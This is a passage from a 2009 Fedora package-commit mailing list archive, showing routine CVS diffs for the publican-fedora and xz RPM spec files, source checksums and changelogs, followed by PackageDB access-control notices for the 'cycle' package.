+- Update Fedora Feedback into Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	5 Oct 2009 08:03:41 -0000	1.3
+++ sources	7 Oct 2009 02:40:54 -0000	1.4
@@ -1 +1 @@
-e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz
+266856d208bd2b25332d7070f13153c6  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 03:17:27 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 03:17:27 +0000 (UTC)
Subject: rpms/publican-fedora/devel import.log, 1.2, 1.3 publican-fedora.spec,
	1.13, 1.14 sources, 1.12, 1.13
Message-ID: <20091007031727.64DA011C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13442/devel

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
- Fix date in 0.19-2 changelog
- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback in Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	7 Oct 2009 02:38:52 -0000	1.2
+++ import.log	7 Oct 2009 03:17:25 -0000	1.3
@@ -1,2 +1,3 @@
 publican-fedora-0_19-1_fc11:HEAD:publican-fedora-0.19-1.fc11.src.rpm:1254724218
 publican-fedora-0_19-2_fc11:HEAD:publican-fedora-0.19-2.fc11.src.rpm:1254883023
+publican-fedora-0_19-3_fc11:HEAD:publican-fedora-0.19-3.fc11.src.rpm:1254885351


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/publican-fedora.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- publican-fedora.spec	7 Oct 2009 02:38:52 -0000	1.13
+++ publican-fedora.spec	7 Oct 2009 03:17:25 -0000	1.14
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,10 +49,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
-* Mon Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
+- Fix date in 0.19-2 changelog
+- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
 - Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
 - Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
-- Update Fedora Feedback into Ukrainian
+- Update Fedora Feedback in Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	7 Oct 2009 02:38:52 -0000	1.12
+++ sources	7 Oct 2009 03:17:25 -0000	1.13
@@ -1 +1 @@
-266856d208bd2b25332d7070f13153c6  publican-fedora-0.19.tgz
+25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 03:19:33 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 03:19:33 +0000 (UTC)
Subject: rpms/publican-fedora/EL-4 import.log, 1.2, 1.3 publican-fedora.spec,
	1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091007031933.2B36811C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13998/EL-4

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
- Fix date in 0.19-2 changelog
- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback in Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	7 Oct 2009 02:40:54 -0000	1.2
+++ import.log	7 Oct 2009 03:19:32 -0000	1.3
@@ -1,2 +1,3 @@
 publican-fedora-0_19-1_fc11:EL-4:publican-fedora-0.19-1.fc11.src.rpm:1254729733
 publican-fedora-0_19-2_fc11:EL-4:publican-fedora-0.19-2.fc11.src.rpm:1254883153
+publican-fedora-0_19-3_fc11:EL-4:publican-fedora-0.19-3.fc11.src.rpm:1254885469


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/publican-fedora.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- publican-fedora.spec	7 Oct 2009 02:40:54 -0000	1.3
+++ publican-fedora.spec	7 Oct 2009 03:19:32 -0000	1.4
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,10 +49,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
-* Mon Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
+- Fix date in 0.19-2 changelog
+- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
 - Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
 - Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
-- Update Fedora Feedback into Ukrainian
+- Update Fedora Feedback in Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Oct 2009 02:40:54 -0000	1.4
+++ sources	7 Oct 2009 03:19:32 -0000	1.5
@@ -1 +1 @@
-266856d208bd2b25332d7070f13153c6  publican-fedora-0.19.tgz
+25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 03:21:10 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 03:21:10 +0000 (UTC)
Subject: rpms/publican-fedora/EL-5 import.log, 1.1, 1.2 publican-fedora.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007032110.BD03211C02A0@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14500/EL-5

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
- Fix date in 0.19-2 changelog
- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback in Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-5/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Oct 2009 08:05:11 -0000	1.1
+++ import.log	7 Oct 2009 03:21:09 -0000	1.2
@@ -1 +1,2 @@
 publican-fedora-0_19-1_fc11:EL-5:publican-fedora-0.19-1.fc11.src.rpm:1254729826
+publican-fedora-0_19-3_fc11:EL-5:publican-fedora-0.19-3.fc11.src.rpm:1254885578


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-5/publican-fedora.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- publican-fedora.spec	5 Oct 2009 08:05:12 -0000	1.2
+++ publican-fedora.spec	7 Oct 2009 03:21:09 -0000	1.3
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	1%{?dist}
+Release:	3%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
+- Fix date in 0.19-2 changelog
+- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
+- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Update Fedora Feedback in Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	5 Oct 2009 08:05:12 -0000	1.3
+++ sources	7 Oct 2009 03:21:10 -0000	1.4
@@ -1 +1 @@
-e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz
+25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 03:23:02 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 03:23:02 +0000 (UTC)
Subject: rpms/publican-fedora/F-10 import.log, 1.1, 1.2 publican-fedora.spec,
	1.10, 1.11 sources, 1.11, 1.12
Message-ID: <20091007032302.9F59711C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15109/F-10

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
- Fix date in 0.19-2 changelog
- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback in Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Oct 2009 07:59:54 -0000	1.1
+++ import.log	7 Oct 2009 03:23:01 -0000	1.2
@@ -1 +1,2 @@
 publican-fedora-0_19-1_fc11:F-10:publican-fedora-0.19-1.fc11.src.rpm:1254729469
+publican-fedora-0_19-3_fc11:F-10:publican-fedora-0.19-3.fc11.src.rpm:1254885674


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-10/publican-fedora.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- publican-fedora.spec	5 Oct 2009 07:59:55 -0000	1.10
+++ publican-fedora.spec	7 Oct 2009 03:23:01 -0000	1.11
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	1%{?dist}
+Release:	3%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
+- Fix date in 0.19-2 changelog
+- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
+- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Update Fedora Feedback in Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	5 Oct 2009 07:59:55 -0000	1.11
+++ sources	7 Oct 2009 03:23:01 -0000	1.12
@@ -1 +1 @@
-e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz
+25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 03:24:32 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 03:24:32 +0000 (UTC)
Subject: rpms/publican-fedora/F-11 import.log, 1.1, 1.2 publican-fedora.spec,
	1.11, 1.12 sources, 1.11, 1.12
Message-ID: <20091007032432.2460911C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15823/F-11

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
- Fix date in 0.19-2 changelog
- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback in Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Oct 2009 06:54:47 -0000	1.1
+++ import.log	7 Oct 2009 03:24:31 -0000	1.2
@@ -1 +1,2 @@
 publican-fedora-0_19-1_fc11:F-11:publican-fedora-0.19-1.fc11.src.rpm:1254725592
+publican-fedora-0_19-3_fc11:F-11:publican-fedora-0.19-3.fc11.src.rpm:1254885785


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-11/publican-fedora.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- publican-fedora.spec	5 Oct 2009 06:54:47 -0000	1.11
+++ publican-fedora.spec	7 Oct 2009 03:24:31 -0000	1.12
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	1%{?dist}
+Release:	3%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
+- Fix date in 0.19-2 changelog
+- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
+- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Update Fedora Feedback in Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	5 Oct 2009 06:54:47 -0000	1.11
+++ sources	7 Oct 2009 03:24:31 -0000	1.12
@@ -1 +1 @@
-e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz
+25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 03:25:55 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 03:25:55 +0000 (UTC)
Subject: rpms/publican-fedora/F-12 import.log, 1.1, 1.2 publican-fedora.spec,
	1.12, 1.13 sources, 1.11, 1.12
Message-ID: <20091007032555.82E3111C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16210/F-12

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
- Fix date in 0.19-2 changelog
- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback in Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Oct 2009 08:02:03 -0000	1.1
+++ import.log	7 Oct 2009 03:25:55 -0000	1.2
@@ -1 +1,2 @@
 publican-fedora-0_19-1_fc11:F-12:publican-fedora-0.19-1.fc11.src.rpm:1254729620
+publican-fedora-0_19-3_fc11:F-12:publican-fedora-0.19-3.fc11.src.rpm:1254885868


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-12/publican-fedora.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- publican-fedora.spec	5 Oct 2009 08:02:03 -0000	1.12
+++ publican-fedora.spec	7 Oct 2009 03:25:55 -0000	1.13
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	1%{?dist}
+Release:	3%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
+- Fix date in 0.19-2 changelog
+- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
+* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
+- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Update Fedora Feedback in Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	5 Oct 2009 08:02:03 -0000	1.11
+++ sources	7 Oct 2009 03:25:55 -0000	1.12
@@ -1 +1 @@
-e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz
+25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz



From jnovy at fedoraproject.org  Wed Oct  7 05:38:35 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed,  7 Oct 2009 05:38:35 +0000 (UTC)
Subject: rpms/xz/F-12 .cvsignore,1.5,1.6 sources,1.5,1.6 xz.spec,1.5,1.6
Message-ID: <20091007053835.9BD1811C00E6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/xz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10531

Modified Files:
	.cvsignore sources xz.spec 
Log Message:
* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
- sync with upstream to generate the same archives on machines with different
  endianess



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	28 Aug 2009 02:33:26 -0000	1.5
+++ .cvsignore	7 Oct 2009 05:38:32 -0000	1.6
@@ -1 +1 @@
-xz-4.999.9beta.tar.xz
+xz-4.999.9beta.20091002git.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Aug 2009 02:33:26 -0000	1.5
+++ sources	7 Oct 2009 05:38:32 -0000	1.6
@@ -1 +1 @@
-62459762f5ac6055051f2929191cd159  xz-4.999.9beta.tar.xz
+5831d58c3dfe600759e8232a1f192dc7  xz-4.999.9beta.20091002git.tar.gz


Index: xz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-12/xz.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- xz.spec	28 Aug 2009 02:33:26 -0000	1.5
+++ xz.spec	7 Oct 2009 05:38:32 -0000	1.6
@@ -1,11 +1,13 @@
+%define git_date 20091002
+
 Summary:	LZMA compression utilities
 Name:		xz
 Version:	4.999.9
-Release:	0.1.beta%{?dist}
+Release:	0.1.beta.%{git_date}git%{?dist}
 License:	LGPLv2+
 Group:		Applications/File
 # source created as "make dist" in checked out GIT tree
-Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.tar.xz
+Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.gz
 URL:		http://tukaani.org/%{name}/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	%{name}-libs = %{version}-%{release}
@@ -104,6 +106,10 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
+- sync with upstream to generate the same archives on machines with different
+  endianess
+
 * Fri Aug 28 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.beta
 - update to 4.999.9beta
 



From jnovy at fedoraproject.org  Wed Oct  7 06:01:11 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed,  7 Oct 2009 06:01:11 +0000 (UTC)
Subject: rpms/xz/devel .cvsignore,1.6,1.7 sources,1.6,1.7 xz.spec,1.6,1.7
Message-ID: <20091007060111.A10D511C00E6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/xz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17717

Modified Files:
	.cvsignore sources xz.spec 
Log Message:
* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
- sync with upstream again



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xz/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	2 Oct 2009 08:25:15 -0000	1.6
+++ .cvsignore	7 Oct 2009 06:01:09 -0000	1.7
@@ -1 +1 @@
-xz-4.999.9beta.20091002git.tar.gz
+xz-4.999.9beta.20091007git.tar.xz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xz/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	2 Oct 2009 08:25:15 -0000	1.6
+++ sources	7 Oct 2009 06:01:09 -0000	1.7
@@ -1 +1 @@
-5831d58c3dfe600759e8232a1f192dc7  xz-4.999.9beta.20091002git.tar.gz
+8bd02e5301cb9631852a898d750111d9  xz-4.999.9beta.20091007git.tar.xz


Index: xz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xz/devel/xz.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- xz.spec	2 Oct 2009 08:25:15 -0000	1.6
+++ xz.spec	7 Oct 2009 06:01:09 -0000	1.7
@@ -1,4 +1,4 @@
-%define git_date 20091002
+%define git_date 20091007
 
 Summary:	LZMA compression utilities
 Name:		xz
@@ -7,7 +7,7 @@ Release:	0.1.beta.%{git_date}git%{?dist}
 License:	LGPLv2+
 Group:		Applications/File
 # source created as "make dist" in checked out GIT tree
-Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.gz
+Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.xz
 URL:		http://tukaani.org/%{name}/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	%{name}-libs = %{version}-%{release}
@@ -106,6 +106,9 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
+- sync with upstream again
+
 * Fri Oct 02 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
 - sync with upstream to generate the same archives on machines with different
   endianess



From pkgdb at fedoraproject.org  Wed Oct  7 06:03:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:03:51 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060351.7650010F880@bastion2.fedora.phx.redhat.com>

mcepl has set the watchbugzilla acl on cycle (Fedora 11) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:03:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:03:52 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060352.C34AD10F894@bastion2.fedora.phx.redhat.com>

mcepl has set the watchcommits acl on cycle (Fedora 11) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:03:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:03:55 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060355.B8F6610F8A1@bastion2.fedora.phx.redhat.com>

mcepl has set the commit acl on cycle (Fedora 11) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:03:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:03:58 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060358.9A2E610F894@bastion2.fedora.phx.redhat.com>

mcepl has set the approveacls acl on cycle (Fedora 11) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:03 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060403.8674210F880@bastion2.fedora.phx.redhat.com>

